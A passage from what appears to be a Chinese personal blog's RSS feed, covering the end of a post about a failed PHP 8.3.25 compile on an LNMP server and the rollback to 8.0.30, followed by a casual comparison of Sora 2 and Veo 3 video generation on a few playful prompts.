./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --enable-fpm --with-fpm-user=www --with-fpm-group=www  --with-mysqli --with-pdo-mysql --with-iconv=/usr/local/libiconv --with-zip=/usr/local --with-freetype --with-jpeg --with-png --with-zlib --with-libxml-dir --with-curl --with-mhash --with-openssl --with-xmlrpc --with-bz2 --with-gettext --with-xsl --with-zip --with-pear --enable-bcmath --enable-mysqlnd --enable-inline-optimization --enable-sockets --enable-mbregex --enable-mbstring --enable-intl --enable-pcntl --enable-ftp --enable-gd --enable-exif --enable-calendar --enable-shmop --enable-sysvsem --with-curl --with-mhash --with-openssl --with-xmlrpc --with-bz2 --with-gettext --with-xsl --with-zip --with-pear --enable-bcmath --enable-mysqlnd --enable-inline-optimization --enable-sockets --enable-mbregex --enable-mbstring --enable-intl --enable-pcntl --enable-ftp --enable-gd --enable-exif --enable-calendar --enable-shmop --enable-sysvsem 
make &amp;&amp; make install</pre><p></article>
<p>最新一个报错大致如下</p><pre class="urvanov-syntax-highlighter-plain-tag">cli/php_cli_process_title.o -lresolv -lrt -lstdc++ -liconv -lbz2 -lutil -lrt -lm -ldl -lxml2 -lssl -lcrypto -lsqlite3 -lz -lcurl -lxml2 -lssl -lcrypto -lz -lpng15 -ljpeg -lfreetype -licuio -licui18n -licuuc -licudata -lonig -lsqlite3 -lxml2 -lxml2 -lxml2 -lxml2 -lxslt -lz -ldl -lm -lxml2 -lexslt -lxslt -lz -lm -lgcrypt -ldl -lgpg-error -lxml2 -lzip -lbz2 -lz -lz -lssl -lcrypto -lrt -o sapi/cli/php
ext/zip/zip_stream.o: In function `php_stream_zip_opener':
/root/lnmp1.8-full/src/php-8.3.25/ext/zip/zip_stream.c:347: undefined reference to `zip_file_is_seekable'
ext/zip/zip_stream.o: In function `php_stream_zip_open':
/root/lnmp1.8-full/src/php-8.3.25/ext/zip/zip_stream.c:261: undefined reference to `zip_file_is_seekable'</pre><p>&nbsp;</p>
<p>&nbsp;</p>
<h1>放弃</h1>
<p>php 编译依旧是各种报错，放弃高版本升级，先恢复平台访问，下次再升级吧。</p>
<p>这里退回 8.0.30 倒是很顺利。</p>
<p>./upgrade.sh php</p>
<p>Current PHP Version:  这里直接提示没版本了<br />
You can get version number from http://www.php.net/<br />
Please enter a PHP Version you want: 8.0.30</p>
<p>。。。</p>
<p>Installing PEAR environment: /usr/local/php/lib/php/<br />
[PEAR] Archive_Tar - installed: 1.4.14<br />
[PEAR] Console_Getopt - installed: 1.4.3<br />
[PEAR] Structures_Graph- installed: 1.1.1<br />
[PEAR] XML_Util - installed: 1.4.5<br />
warning: pear/PEAR dependency package "pear/Archive_Tar" installed version 1.4.14 is not the recommended version 1.4.4<br />
[PEAR] PEAR - installed: 1.10.13<br />
Warning! a PEAR user config file already exists from a previous PEAR installation at '/root/.pearrc'. You may probably want to remove it.<br />
Wrote PEAR system config file at: /usr/local/php/etc/pear.conf<br />
You may want to add: /usr/local/php/lib/php to your php.ini include_path<br />
/root/lnmp1.8-full/src/php-8.0.30/build/shtool install -c ext/phar/phar.phar /usr/local/php/bin/phar.phar<br />
ln -s -f phar.phar /usr/local/php/bin/phar<br />
Installing PDO headers: /usr/local/php/include/php/ext/pdo/<br />
Copy new php configure file...<br />
Modify php.ini......<br />
config-set succeeded<br />
config-set succeeded<br />
Downloading Composer...<br />
--2025-10-13 10:37:59-- https://soft.vpser.net/web/php/composer/composer.phar<br />
Resolving soft.vpser.net (soft.vpser.net)... failed: Name or service not known.<br />
wget: unable to resolve host address ‘soft.vpser.net’<br />
Composer install failed, try to from composer official website...<br />
All settings correct for using Composer<br />
Downloading...</p>
<p>Composer (version 2.8.12) successfully installed to: /usr/local/bin/composer<br />
Use it: php /usr/local/bin/composer</p>
<p>Composer install successfully.<br />
Install ZendGuardLoader for PHP 8...<br />
unavailable now.<br />
Creating new php-fpm configure file...<br />
Copy php-fpm init.d file...<br />
+-------------------------------------------+<br />
| Manager for LNMP, Written by Licess |<br />
+-------------------------------------------+<br />
| https://lnmp.org |<br />
+-------------------------------------------+<br />
Starting LNMP...<br />
Starting nginx... done<br />
Starting MySQL... SUCCESS!<br />
Starting php-fpm done<br />
======== upgrade php completed ======</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.wanjie.info/2025/10/lnmp-php-8-3-25-upgrade-failure-rollback/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>veo3-vs-sora2</title>
		<link>https://blog.wanjie.info/2025/10/veo3-vs-sora2/</link>
					<comments>https://blog.wanjie.info/2025/10/veo3-vs-sora2/#respond</comments>
		
		<dc:creator><![CDATA[wanjie]]></dc:creator>
		<pubDate>Sat, 04 Oct 2025 15:25:26 +0000</pubDate>
				<category><![CDATA[数码影像]]></category>
		<category><![CDATA[sora2]]></category>
		<category><![CDATA[veo3]]></category>
		<guid isPermaLink="false">https://blog.wanjie.info/?p=4035</guid>

					<description><![CDATA[sora2和veo3的几个简单视频对比测试]]></description>
										<content:encoded><![CDATA[<h1>背景</h1>
<p>这次国庆放假没出远门，只在市里转悠，每天早上有一些时间可以玩电脑，赶上sora2 发布，简单和veo 3进行了几组对比测试。sora2 还是强不少，一句话总结，现阶段还是玩具，当然，主要可能是我玩法不对，看网友的整活挺不错的。</p>
<p><span id="more-4035"></span></p>
<p>&nbsp;</p>
<h1>对照测试</h1>
<h2>小朋友投篮</h2>
<p>sora2 这边场地非常中式，还有配音，不过关键问题是球没进。</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-4037" src="https://blog.wanjie.info/wp-content/uploads/2025/10/basketball-sora2.png" alt="" width="923" height="362" srcset="https://blog.wanjie.info/wp-content/uploads/2025/10/basketball-sora2.png 923w, https://blog.wanjie.info/wp-content/uploads/2025/10/basketball-sora2-300x118.png 300w, https://blog.wanjie.info/wp-content/uploads/2025/10/basketball-sora2-768x301.png 768w" sizes="auto, (max-width: 923px) 100vw, 923px" /></p>
<p>&nbsp;</p>
<p><a href="https://videos.openai.com/vg-assets/assets%2Ftask_01k6phf4grfgka7g96jehvgn3g%2Ftask_01k6phf4grfgka7g96jehvgn3g_genid_c88346f2-9090-4c77-b9e5-025e6e8807e3_25_10_04_02_42_465984%2Fvideos%2F00000_wm%2Fmd.mp4?st=2025-10-04T02%3A13%3A21Z&amp;se=2025-10-10T03%3A13%3A21Z&amp;sks=b&amp;skt=2025-10-04T02%3A13%3A21Z&amp;ske=2025-10-10T03%3A13%3A21Z&amp;sktid=a48cca56-e6da-484e-a814-9c849652bcb3&amp;skoid=8b872fb2-b44b-4c1d-9ff6-1d4509d19e6e&amp;skv=2019-02-02&amp;sv=2018-11-09&amp;sr=b&amp;sp=r&amp;spr=https%2Chttp&amp;sig=XThXo2QpBFHnzlxr9lByhOfqPWIDBY5y6AQMTBb2228%3D&amp;az=oaivgprodscus" target="_blank"  rel="nofollow" >sora2进球动画点这里</a></p>
<p>veo3 这边是美式人物和球场，但是场地看着像漫画，人是清晰的，球虽然进了，但球框高度有点问题。</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-4038" src="https://blog.wanjie.info/wp-content/uploads/2025/10/basketball-veo3.png" alt="" width="854" height="668" srcset="https://blog.wanjie.info/wp-content/uploads/2025/10/basketball-veo3.png 854w, https://blog.wanjie.info/wp-content/uploads/2025/10/basketball-veo3-300x235.png 300w, https://blog.wanjie.info/wp-content/uploads/2025/10/basketball-veo3-768x601.png 768w" sizes="auto, (max-width: 854px) 100vw, 854px" /></p>
<p><a href="https://contribution.usercontent.google.com/download?c=CgxiYXJkX3N0b3JhZ2US6AsSDXJlc3BvbnNlX2RhdGEa1gsKMDNiZjI5MDcxMjVkNmU4ZDAwMDA2NDA0YzQzOThmYWZlMDg4ZWIzNGNkYjIzZjAxMBILEgcQ-I66qqAJGAEyzQGaAQgHBkBMQ685_6oBvgEKGmJhcmRfc3RvcmFnZV9yZXNwb25zZV9kYXRhEp8BL3Jlc3BvbnNlX2RhdGEvZzowMDAwMDA0YTA1NGU4Nzc4L2c6MDAwMDAwNGEwNTRlODc3OC9jXzMzZTFmYzk0ZmUwNTAwMjYvcl9mNTIwYzgyYWM3OWM2ODk5L3JjXzAwMDAwMDAwMDAwMDAwMDAvM2JmMjkwNzEyNWQ2ZThkMDAwMDY0MDRjNDM5OGZhZmUwODhlYjM0Y2RiMjNmMDEwQgwIq5aCxwYQ0MuqjAOSAScKD2NvbnZlcnNhdGlvbl9pZBIUQhJjXzMzZTFmYzk0ZmUwNTAwMjaSASIKCnJlcXVlc3RfaWQSFEIScl9mNTIwYzgyYWM3OWM2ODk5kgEpChByZXF1ZXN0X2V2ZW50X2lkEhV6Ewin-aqAxImQAxWSookEHa--PdmSASQKC3Jlc3BvbnNlX2lkEhVCE3JjXzAwMDAwMDAwMDAwMDAwMDCSARMKBG5hbWUSC0IJdmlkZW8ubXA0kgEKCgR0eXBlEgJgApIBGAoJbWltZV90eXBlEgtCCXZpZGVvL21wNNoBvwEKrQEvY29udHJpYl9zZXJ2aWNlL2Jsb2JyZWZzL2JhcmRfc3RvcmFnZS9yZXNwb25zZV9kYXRhL01lZGlhRGF0YUJsb2JyZWYvZ2xvYmFsOjowMDAwNTJiMDBiNTAwMjZkOjAwMDAwMTBlOjE6ZmRkMGI1NzFjYzVjOWE5ZDowMDAwNTJiMDBiNTAwMjZkOjAwMDAwMDUzNjA0MDNhNTc6MDAwNjQwNGM0M2E3MGUwZhACIgsIrJaCxwYQ1Lb6HuoB9gUKDwgqEgtVLUViOUZfWWpudxIwCggIBxCYjOvcAxIFCLfhoQEYgAog0AUqBEgyNjQyA0FBQzkAAAAAAAA4QEIDTU9WGuQBCt0BCgtmaXJzdF9mcmFtZRLNAQq-AS9jb250cmliX3NlcnZpY2UvYmxvYnJlZnMvYmFyZF9zdG9yYWdlL3Jlc3BvbnNlX2RhdGEvVmlkZW9UaHVtYm5haWxCbG9icmVmX2ZpcnN0X2ZyYW1lL2dsb2JhbDo6MDAwMDUyYjAwYjUwMDI2ZDowMDAwMGE0ODoxOjFjMTIxYzA3ZDUxZDkyNGM6MDAwMDUyYjAwYjUwMDI2ZDowMDAwMDA1MzYwNDAzYTU3OjAwMDY0MDRjNDg0ZWI4NGYQABiACiDQBSjliQUSAggCIjgKCAgWEIAKGNAFCgMIjQEKCQiGARCABRjoAgoDCIwBCgkIiAEQgAoY0AUKCAgSEIAFGOgCEgIIAiqBA2h0dHBzOi8vbGgzLmdvb2dsZXVzZXJjb250ZW50LmNvbS9nZy9BQUhhcjRjOWpLZW5QVDd5UWs1ZDIwZWFRMlNGczZNOHpQWUs4MXJrb2pWbG5aeHN6OXR0R2JCUmxtdG93MnJ6US1SYjhHS2pVRXBEdTdRRHdvaFhOLWo0VENSa3Bva2dIS3FHMTBhYlFNZ1B6dG03NWYtZVF3anh5a1B6b2VXblhubEJ1V1U3WHdSdlFsNlBibGpjdm52QVpPVjdVUTU2Sk45al9XbG9JR1VUVmw1WDc0al91bHlRUmFKVHhZYzZCbGZ5MjhaTXZTZW12a2xuQkYzdGk0dEVJUHlBYWpRc1RZbm1IOFdnUFVnMlB3dFdYRVNSV3U0dUE4akFEWlpZc0FodHpoT3R6UmRhS0tScVJkZ0dudlJwU3hydWl1YTFwV0VHU3J0SV9kd2dTeEZoS0R1OE5kek1VT3B6VVFFeklRWTNDTUlCVUdXSW41NWNuaS16U093cEVHcDMyDAj6loLHBhDA1tCtA9q4BBgyFjoUChIoMEj4jrqqoAmYF8ruljGYGQA&amp;filename=video.mp4&amp;opi=103135050" target="_blank"  rel="nofollow" >veo3 进球动画点这里</a></p>
<p>&nbsp;</p>
<h2>sam偷gpu</h2>
<p>sora2 截图</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-4036" src="https://blog.wanjie.info/wp-content/uploads/2025/10/sam-sora2-gpu.png" alt="" width="1007" height="540" srcset="https://blog.wanjie.info/wp-content/uploads/2025/10/sam-sora2-gpu.png 1007w, https://blog.wanjie.info/wp-content/uploads/2025/10/sam-sora2-gpu-300x161.png 300w, https://blog.wanjie.info/wp-content/uploads/2025/10/sam-sora2-gpu-768x412.png 768w" sizes="auto, (max-width: 1007px) 100vw, 1007px" /></p>
<p>sora2 这边有比较有趣，给了监控视频的时间，保安还发现了sam，还有对话。</p>
<p><a href="https://videos.openai.com/vg-assets/assets%2Ftask_01k6pkasvdfc09befmesa384hc%2Ftask_01k6pkasvdfc09befmesa384hc_genid_6c0f6c2e-c84f-47ec-8a80-5369ad7b882b_25_10_04_03_14_085300%2Fvideos%2F00000_wm%2Fsrc.mp4?st=2025-10-04T02%3A14%3A44Z&amp;se=2025-10-10T03%3A14%3A44Z&amp;sks=b&amp;skt=2025-10-04T02%3A14%3A44Z&amp;ske=2025-10-10T03%3A14%3A44Z&amp;sktid=a48cca56-e6da-484e-a814-9c849652bcb3&amp;skoid=2905dc6d-d44b-4668-b712-e8787ddb94c0&amp;skv=2019-02-02&amp;sv=2018-11-09&amp;sr=b&amp;sp=r&amp;spr=https%2Chttp&amp;sig=lz0gv9O%2B6LCOANkGcbFgKpnrEBRsQ6XRDyNoA0DJDCk%3D&amp;az=oaivgprodscus" target="_blank"  rel="nofollow" >视频点这个地址</a></p>
<p>&nbsp;</p>
<p>veo3 这边就很呆,只是监控看到sam拿走gpu，无趣。</p>
<p>&nbsp;</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-4039" src="https://blog.wanjie.info/wp-content/uploads/2025/10/veo3-gpu.png" alt="" width="1027" height="586" srcset="https://blog.wanjie.info/wp-content/uploads/2025/10/veo3-gpu.png 1027w, https://blog.wanjie.info/wp-content/uploads/2025/10/veo3-gpu-300x171.png 300w, https://blog.wanjie.info/wp-content/uploads/2025/10/veo3-gpu-768x438.png 768w" sizes="auto, (max-width: 1027px) 100vw, 1027px" /></p>
<p><a href="https://contribution.usercontent.google.com/download?c=CgxiYXJkX3N0b3JhZ2US5wsSDXJlc3BvbnNlX2RhdGEa1QsKMGFhZTkxODlmYTYxMmM2MDEwMDA2NDA0ZDA1NWFmYzNhMDA2MjI4NzY1MDEwNDFkMxILEgcQ-I66qqAJGAEyzQGaAQgHBkBNBYCHH6oBvgEKGmJhcmRfc3RvcmFnZV9yZXNwb25zZV9kYXRhEp8BL3Jlc3BvbnNlX2RhdGEvZzowMDAwMDA0YTA1NGU4Nzc4L2c6MDAwMDAwNGEwNTRlODc3OC9jXzM5YWQwNGY0MjQwOTVjYWEvcl8yM2NhYmQ0ODAzNTAyMDUyL3JjXzAwMDAwMDAwMDAwMDAwMDAvYWFlOTE4OWZhNjEyYzYwMTAwMDY0MDRkMDU1YWZjM2EwMDYyMjg3NjUwMTA0MWQzQgwI3q-CxwYQuOGqxQKSASIKCnJlcXVlc3RfaWQSFEIScl8yM2NhYmQ0ODAzNTAyMDUykgEYCgltaW1lX3R5cGUSC0IJdmlkZW8vbXA0kgEnCg9jb252ZXJzYXRpb25faWQSFEISY18zOWFkMDRmNDI0MDk1Y2FhkgEkCgtyZXNwb25zZV9pZBIVQhNyY18wMDAwMDAwMDAwMDAwMDAwkgETCgRuYW1lEgtCCXZpZGVvLm1wNJIBCgoEdHlwZRICYAKSASkKEHJlcXVlc3RfZXZlbnRfaWQSFXoTCOWWk43QiZADFdO0iQQdvrQBtNoBwAEKrQEvY29udHJpYl9zZXJ2aWNlL2Jsb2JyZWZzL2JhcmRfc3RvcmFnZS9yZXNwb25zZV9kYXRhL01lZGlhRGF0YUJsb2JyZWYvZ2xvYmFsOjowMDAwNTJiMDBiNTAwMjZkOjAwMDAwMTBlOjE6MWZiODQyOWQzYWY5OGQ3ZDowMDAwNTJiMDBiNTAwMjZkOjAwMDAwMDUzNjA0MDNhNTc6MDAwNjQwNGQwNTc5YWVjZhACIgwI3q-CxwYQh8jv8ALqAfQFCg8IKhILLW9Tc1pVaEt6SzQSLwoICAcQmIzr3AMSBAjF_0YYgAog0AUqBEgyNjQyA0FBQzkAAAAAAAA4QEIDTU9WGuQBCt0BCgtmaXJzdF9mcmFtZRLNAQq-AS9jb250cmliX3NlcnZpY2UvYmxvYnJlZnMvYmFyZF9zdG9yYWdlL3Jlc3BvbnNlX2RhdGEvVmlkZW9UaHVtYm5haWxCbG9icmVmX2ZpcnN0X2ZyYW1lL2dsb2JhbDo6MDAwMDUyYjAwYjUwMDI2ZDowMDAwMGE0ODoxOjAxN2FhYzFmMjYzODg1ZWQ6MDAwMDUyYjAwYjUwMDI2ZDowMDAwMDA1MzYwNDAzYTU3OjAwMDY0MDRkMDZkYTZjOGYQABiACiDQBSixhgQSAggCIjgKCAgWEIAKGNAFCggIEhCABRjoAgoJCIgBEIAKGNAFCgkIhgEQgAUY6AIKAwiMAQoDCI0BEgIIAiqAA2h0dHBzOi8vbGgzLmdvb2dsZXVzZXJjb250ZW50LmNvbS9nZy9BQUhhcjRmS3NrVXR1TE1zWF9wR2JXT0tTTjVRZER4LWlDaE5rTk5sTVBFcldoRVk1YS1QQlFZZXphTlNPbkZZU1pxZTBUd3NUYUVlZDVvc25zUmNGRnI3MkFYWXlUdDlqSEJnMXF4VGZDV2pJbTNtb29td080WWY4bWVUWjJSWF9tRngtck91QU5yRGRWSS1TRVZJbUt1ZUE1ajRDVzlRWUhXM3NWaGJTdzMtd3BNWXV3aHlxcEZuNjV4WlhoTE1uNlEwRnNWZmduTGNkMjBLaDRYVk0yZk9DVUhUM1lZWXlOZWx3TjFhWnNKVnE3dnVkTUVaWE5jenVHaTd1TTZ2S191NHotbkZnY2xRSWlVc25LTk9rTEI2bVJwVmY2Z3h4cnE5VzJqV1NOQ25ZbjRjY3JibHRHQ0hyLVEzdDhocF9oYzhBNHZsWGtuUmFxMDBWQUlVYXJRRks5dzIMCPevgscGEMC3qtEB2rgEGDIWOhQKEigwSPiOuqqgCZgXyu6WMZgZAA&amp;filename=video.mp4&amp;opi=103135050" target="_blank"  rel="nofollow" >视频点这里</a></p>
<p>&nbsp;</p>
<p>另外2边都有一些触发版权或限制问题，不一一举例了。</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-4040" src="https://blog.wanjie.info/wp-content/uploads/2025/10/veo3-ken.png" alt="" width="933" height="349" srcset="https://blog.wanjie.info/wp-content/uploads/2025/10/veo3-ken.png 933w, https://blog.wanjie.info/wp-content/uploads/2025/10/veo3-ken-300x112.png 300w, https://blog.wanjie.info/wp-content/uploads/2025/10/veo3-ken-768x287.png 768w" sizes="auto, (max-width: 933px) 100vw, 933px" /></p>
<p>sora 至少让肯尼迪唱了一首中文歌，<a href="https://videos.openai.com/vg-assets/assets%2Ftask_01k6pjhzmdefp9dz6cpt2s1q20%2Ftask_01k6pjhzmdefp9dz6cpt2s1q20_genid_05624982-bc3e-4fe2-aa03-16743258acbe_25_10_04_03_01_001036%2Fvideos%2F00000_wm%2Fmd.mp4?st=2025-10-04T14%3A01%3A47Z&amp;se=2025-10-10T15%3A01%3A47Z&amp;sks=b&amp;skt=2025-10-04T14%3A01%3A47Z&amp;ske=2025-10-10T15%3A01%3A47Z&amp;sktid=a48cca56-e6da-484e-a814-9c849652bcb3&amp;skoid=8ffff87a-01f1-47c9-9090-32999d4d6380&amp;skv=2019-02-02&amp;sv=2018-11-09&amp;sr=b&amp;sp=r&amp;spr=https%2Chttp&amp;sig=6CcXG0VrdXmCujGJDma0XMDA7DRfBAHcPrBcSESMIj4%3D&amp;az=oaivgprodscus" target="_blank"  rel="nofollow" >视频点这里</a>。</p>
<p><img loading="lazy" decoding="async" class="alignnone size-large wp-image-4041" src="https://blog.wanjie.info/wp-content/uploads/2025/10/sora2-ken-1030x637.png" alt="" width="1030" height="637" srcset="https://blog.wanjie.info/wp-content/uploads/2025/10/sora2-ken-1030x637.png 1030w, https://blog.wanjie.info/wp-content/uploads/2025/10/sora2-ken-300x185.png 300w, https://blog.wanjie.info/wp-content/uploads/2025/10/sora2-ken-768x475.png 768w, https://blog.wanjie.info/wp-content/uploads/2025/10/sora2-ken.png 1386w" sizes="auto, (max-width: 1030px) 100vw, 1030px" /></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.wanjie.info/2025/10/veo3-vs-sora2/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
